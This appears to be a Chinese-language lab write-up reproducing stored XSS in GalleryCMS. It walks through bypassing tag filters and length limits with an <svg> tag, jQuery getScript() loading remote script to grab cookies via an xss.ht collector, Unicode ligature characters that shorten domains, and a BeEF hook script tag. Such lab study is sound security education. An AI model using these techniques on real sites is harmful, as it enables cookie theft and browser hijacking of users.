目录
第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方
第四步:beef复现GalleryCMS20个字符限制短域名绕过
XSS复现GalleryCMS字符长度限制短域名绕过
我们首先搭建好galleryCMS的服务器。
第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方
可以在数据库中看见我们上传的数据
第二步:我们再测试一下是否可以使用JS代码
在数据库中显示为,这说明对JS代码有限制,导致我们无法进行弹窗
我们查看一下源码,可以发现他对我们做了长度45,且过滤了很多标签等限制
但是从源码中可以看出没有对<svg>标签进行限制,所以我们尝试使用<svg>标签测试是否能绕过
绕过成功:
第三步:使用getScript()函数绕过
我们通过这个页面发现网页使用的是jQuery框架,我们尝试使用getScript()函数绕过试一下。
getScript()函数:使用 AJAX 的 HTTP GET 请求获取和执行 JavaScript。
语法:(selector).getScript(url,success(response,status))
参数 | 描述 |
---|---|
url | 必需。规定将请求发送到哪个 URL。 |
success(response,status) | 可选。规定当请求成功时运行的函数。 额外的参数:
|
我们尝试将<svg>标签和getScript合用一起获取cookie值
我们使用了xss-hunter给系统分配的一个页面,telsm.xss.ht里面有很多获取信息的功能,需要注册并且拥有自定义的xss.ht子域名才可以使用,但是我没有注册域名,所以查看不到获取的消息,但是这样也表示成功了。
第四步:beef复现GalleryCMS20个字符限制短域名绕过
我们将字符最长限制长度改为20个字符,利用beef工具尝试绕过
但是基本的命令都会超过20个字符
由于字符长度限制,如何实现绕过?
1、使用Unicode编码进行编码,Unicode编码有几种特殊字符,如tel在Unicode中仅算一个字符
2、域名重定向-->国内域名重定向需要备案,只能使用国外域名
我们用第一个方法Unicode编码利用特殊字符绕过
- ℠ expands to
sm
- ㏛ expands to
sr
- st expands to
st
- ㎭ expands to
rad
- ℡ expands to
tel
我们先打开beef-xss:
登陆beef的网页端,beef的用户名和密码在/etc/beef-xss/config.yml文件下查看
把hook.js文件内容复制到服务器下的/var/www/html/index.html文件下,因为我没有自己的域名,所以我自能修改配置文件,使用ip进行测试<script src="//192.168.112.131:3000/hoot.js">
成功了
参考资料: